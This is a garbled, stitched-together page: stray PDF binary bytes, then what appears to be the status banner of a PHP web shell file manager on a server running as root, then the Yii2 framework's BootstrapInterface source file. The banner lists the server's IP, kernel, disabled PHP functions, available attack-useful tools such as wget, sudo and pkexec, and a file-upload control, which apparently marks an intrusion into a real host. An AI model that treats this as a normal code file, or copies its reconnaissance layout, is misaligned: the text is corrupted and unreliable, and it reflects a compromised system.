%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/egp/vendor/yiisoft/yii2/base/ |
Upload File : |
<?php /** * @link http://www.yiiframework.com/ * @copyright Copyright (c) 2008 Yii Software LLC * @license http://www.yiiframework.com/license/ */ namespace yii\base; /** * BootstrapInterface is the interface that should be implemented by classes who want to participate in the application bootstrap process. * * The main method [[bootstrap()]] will be invoked by an application at the beginning of its `init()` method. * * Bootstrapping classes can be registered in two approaches. * * The first approach is mainly used by extensions and is managed by the Composer installation process. * You mainly need to list the bootstrapping class of your extension in the `composer.json` file like following, * * ```json * { * // ... * "extra": { * "bootstrap": "path\\to\\MyBootstrapClass" * } * } * ``` * * If the extension is installed, the bootstrap information will be saved in [[Application::extensions]]. * * The second approach is used by application code which needs to register some code to be run during * the bootstrap process. This is done by configuring the [[Application::bootstrap]] property: * * ```php * return [ * // ... * 'bootstrap' => [ * "path\\to\\MyBootstrapClass1", * [ * 'class' => "path\\to\\MyBootstrapClass2", * 'prop1' => 'value1', * 'prop2' => 'value2', * ], * ], * ]; * ``` * * As you can see, you can register a bootstrapping class in terms of either a class name or a configuration class. * * For more details and usage information on BootstrapInterface, see the [guide article on bootstrapping applications](guide:structure-applications). * * @author Qiang Xue <qiang.xue@gmail.com> * @since 2.0 */ interface BootstrapInterface { /** * Bootstrap method to be called during application bootstrap stage. * @param Application $app the application currently running */ public function bootstrap($app); }